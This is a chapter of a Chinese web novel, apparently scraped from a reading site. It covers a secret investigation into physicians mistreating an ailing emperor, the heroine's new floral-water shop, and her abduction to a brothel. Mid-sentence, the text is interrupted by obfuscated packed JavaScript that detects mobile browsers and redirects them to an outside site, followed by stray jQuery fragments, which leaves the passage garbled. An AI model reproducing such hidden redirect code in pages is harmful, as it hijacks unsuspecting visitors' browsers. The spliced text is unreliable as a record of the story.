50. 第 50 章

作品:《他的青梅不好折

    福儿心中沉甸甸的。


    好不容易因为忙碌起来,不去担忧宁时毓的安危。


    如今,又成功地把她拉回了现实。


    东西和香料都已搬到了这边,她也只能接受。


    而且她也不用再回家,睡杂屋了。


    心中五味杂陈。


    眼眶瞬间起了水雾,喃喃道:“做这些有何用,你我注定是不会长久的。”


    京城皇宫。


    宁时毓此次入长安非常隐秘,他的侍卫众多,不能搭客船。


    更不能走官道,只有乘坐他的私人客船。


    比平常提前两日到长安。


    宁时毓也不能以真面目示人,易容成为一位样貌普通的商户。


    他身边侍卫众多,秦王给他安排的百名精锐兵。


    宁时毓并没带进长安城,而是把他们安置在城外。


    只带了自己身边的几名侍卫,易容成提东西的小厮。


    他们在一家不起眼的客栈安顿下来,连着几日都没出客栈。


    晚上穆离、庄醒和竹青,都会出去打探消息。


    经过他们几日的努力,终于拿回来了,宁时毓想要的天子命案。


    这太医果然有问题,备了两份,一份是太和帝真实的龙体情况。


    一份是太医胡乱医治的病例。


    宁时毓让曲大夫看过后,曲大夫大骂道,“这些庸医,皇上已经出现,多饮,多尿的情况了。”


    “气血淤滞了,他们不但不开化痰通络,活血化淤的药方。”


    “竟然给皇上开的是,祛肝火上炎的药方。”


    屋内的几人听后都是一脸怒意。


    只有宁时毓神色平静,崔家人的阴狠他早已见识过。


    淡淡地问道:“若是不制止,皇上能拖多久?”


    气氛瞬间凝重起来,个个神色紧张。


    曲大夫此能与宁时毓入长安,当然也就知道宁时毓他们的目的。


    叹道:“按如今皇上的龙体,被他们这样祸害下去,最多能坚持两到三个月。”


    众人倒吸一口凉气。


    前半月,暗探传回来,崔茗柚调派增强兵力到汝州西南境地,并加派宫中的禁卫军。


    宁时毓心中就有了不好的预感。


    他这是要做两手准备。


    估摸着他们要在他皇舅龙体上做手脚。


    应当是太医察觉到了,宁时毓上次送去的丹药。


    这其中细节宁时毓不知情,只知道他安排在宫中的人,再也送不进去给他皇舅准备的救命丹药。


    他便猜到了。


    曲大夫身为一位心怀仁慈,悬壶济世的好大夫,为了皇上龙体考虑,继续说道:“世子爷,为了皇上的龙体,在下以为我们还是要尽快行动。”


    宁时毓此次能这般相信曲大夫,只因两人都有一个共同的敌人。


    曲大夫性子端正,不愿参与皇后的阴谋祸害宫中嫔妃。


    被崔家人陷害,他在朝为官的弟弟和妹夫均被拖累,不但罢免了官职。


    一家老小几十口人,都被发配到岭南。


    后来被宁时毓救回来时,家中父母和太过年幼的孩子,都因忍受不了岭南恶劣的气候病死。


    所幸家中其他人都幸存了下来。


    如今的他们一家人,被宁时毓分别安置在临安和蓉城两处。


    这仇曲大夫当然要报。


    宁时毓只是稍稍提了提,他便同意加入秦王麾下。


    一屋人都在等着宁时毓一声令下。


    宁时毓沉吟一瞬后,说道:“劳烦曲大夫,给皇上多开几日对症的药方。”


    “我自有用处。”


    曲大夫心中疑惑,药方开了该如何送给皇上?


    却见宁时毓一脸笃定,知道他该说的会说。


    不愿说的,自己也不便多问。


    颔首应下,“世子放心,在下这就开。”


    次日是夜,宁时毓易容成另一位四十多岁的中年男子。


    穿一袭佛头青道袍,带着易容后的穆离,步履缓慢出了客栈。


    主仆两人来到胜业坊的陆府,打探一番后,穆离身形先起,纵身跃进府邸。


    听到里面穆离的暗号声,宁时毓脚尖点地向院内掠去。


    如意街。


    新铺子开张前几日,生意还是很寡淡。


    这条街出没的都是商贾豪绅,以及陵阳的望族们。


    用的都是有名的沉香,麝香,苏合香等这些名贵的香料。


    也根本不愿尝试这些杂香。


    陈乔回去成婚了,铺子就剩下冬月和福儿,以及前两日刚招来的伙计阿贵。


    此人精灵得很,嘴又甜,认识不少贵人女眷。


    好些客人都是他主动拉进铺子的。


    看柜台上摆着的都是寡淡香料,转一圈也就走了,根本不愿买。


    福儿意识到按往日的法子不行,这样下去生意做不了多久。


    冬月在一边不慌不忙道:“生意不好就不好,反正公子让你搬到这里来,也没想让你赚银子。”


    “就是让你,做自己喜欢做的事情。”


    尤翠翠知道瞒不住,也承认了是宁时毓的安排。


    这铺子就是宁时毓的私产。


    还劝福儿,人不能死脑筋,在青玉街买二十盒香料,还不如这如意街买一盒。


    听到冬月的话,福儿笑了笑。


    冬月的心思和她不一样,她反正是当差,铺子客人少,她还清闲。


    这两日,福儿看出来了,她极不适应,也是在硬撑着。


    “冬月姐姐,我也不能指望公子一辈子。”


    “铺子是他的,生意却是我的。”


    “我不管他是什么心思,可我得把自己的生意做起来。”


    “既然客人们不喜欢梨花香,我就换过别的,把这梨花香的生意带起来。”


    冬月和阿贵一听都来了兴趣,“姑娘,要换什么?”


    福儿神秘一笑,几日后,你们就知道了。


    冬月和阿贵只当她开的玩笑。


    五日后,福儿酿出了新鲜的花露。


    试了一下,这花露可以抹在身上。


    就算不用熏衣,整个人也能香喷喷的。


    这次用的材料,还是上次卖的桂花。


    为此福儿便命名为桂花露。


    她们搬来这里的第二日,福儿就把这条街都巡视了一遍。


    有两家香料铺子,卖的都是贵人们喜欢的熏香。


    然后就是相邻的东大门正街,也是卖熏香的。


    就是没有铺子卖香露,那时她便有这个想法了。


    铺子又有现成的蒸馏器具,香露她儿时就在宁时毓那里学会了。


    往日也做过,只因程序太烦琐。


    她才放弃,一门心思制作熏香。


    福儿制出了二十小香瓶。


    小香瓶用的也是如今时兴的陶瓷瓶。


    外观绘有彩绘。


    因为她常年配香,对花的比例也拿得准,香味清新也不寡淡。


    连冬月这个不熏香的人,都说好闻。


    因为香露量少,听说长安的一瓶蔷薇水要十两银子。


    除去小香瓶每个二十文,福儿决定卖五两银子一瓶。


    阿贵摆好后,拿着试用的香露,还到东门正街去招揽客人。


    福儿和冬月则在如意街招呼,路过的客人们都不由自主被香味吸引。


    大部分都自愿到铺子来购买


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511046|182199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,顺便还买了不少别的香料。


    包括前几日无人问津的梨花香。


    三人忙碌一整日下来,香露只剩下五瓶不说,还卖出去了不少其他的香料。


    一整日下来,福儿算了算抛开成本,竟赚六十两银子。


    往日在青玉铺两三个月才赚这么多,然而到了如意街,一天就能赚这么多。


    虽然不能保证每日,都能买那么好。


    可无论如何,也比青玉街好了很多。


    激发了她大赚银子的欲望,这香露她一人是忙不过的了。


    得找一人。


    冬月看她让阿贵去找人,当即提醒道:“为何银子不给自己人赚。”


    “让你姐姐过来呀。”


    “招外人你放心吗,会偷师的。”


    这几日福儿没回家,都是曼儿给她送的膳食。


    看着福儿能有这么大的铺子,她姐姐也真心为她高兴。


    福儿犹豫道:“我姐往日太苦了,我不想让她这么劳累。”


    “我挣的银子,也有她的一半。”


    冬月不认同,继续游说,“你不想她劳累,她在你家中,不一样也闲不下来。”


    “你那侄儿又乖,还不如让你姐姐到这里来。”


    “你给她工钱就是了。”


    “这里又宽敞,也住得下。”


    福儿琢磨一番,觉得也是这个理,欣然答应了。


    伸手揉了揉冬月那张板着脸,“还是我冬月姐姐,见多识广。”


    冬月难为情地拉开福儿,“虽说你是属下的主子,可也不能随便揉我的脸。”


    福儿心想我总算不怕你了,待着一回揉一回,呵呵一笑,“多揉一揉,笑一笑吗?”


    “竹青才会喜欢。”


    冬月千年不变的脸上,顿时涌起一抹红晕,愣愣地问道:“真的?”


    福儿见自己猜中了她的心事,拍了拍胸口保证道:“真的。”


    次日,福儿就让冬月去接她姐姐。


    福儿一人在制香房忙着,阿贵在前院铺子接待客人。


    等冬月把曼儿母子俩接回来一看,制香坊那里还有福儿。


    屋内也没有任何挣扎的迹象。


    这时冬月才慌起来,几人把铺子翻遍都没看到福儿的人。


    冬月暗道一声不好,顾不得与两人作解释。


    让马夫带着她急忙回了松涛苑找久叔。


    *


    福儿也不知自己睡了多久,被一股浓郁的胭脂水粉味熏醒,睁眼一看厢房,陌生得很。


    心中慌乱起来,才知并不是错觉,而是真的被人绑了。


    她在自己房中制香,突然一阵浓郁的异香袭来。


    福儿对香味敏感,知道这不是自己制的。


    正疑惑出屋查看时,头一晕,眼前一黑厥了过去。


    此时她起身拉了拉门,外面还上了锁。


    摇晃拍打半天无人开门。


    福儿冷静下来,再次仔细环视屋内的环境。


    看着里面的摆设,根本不像是人们说的土匪窝。


    更像是女子闺房。


    再看自己一身整洁,衣衫周周正正地穿在身上。


    也没对她行不轨之事呀。


    她在脑中捋了一遍,自己目前的仇人就一个徐元。


    徐元已经离开陵阳了。


    那会是谁把她绑到这里来?绑她做什么了?


    正当福儿百思不得其解时,屋外传来一阵打骂和女子的哭声。


    “到了我们天香楼,生死就由我说了算。”


    “下次再跑,断的就是你的腿了。”


    天香楼?!


    福儿脸色一白,这个名字不陌生,是陵阳城的最大的青楼。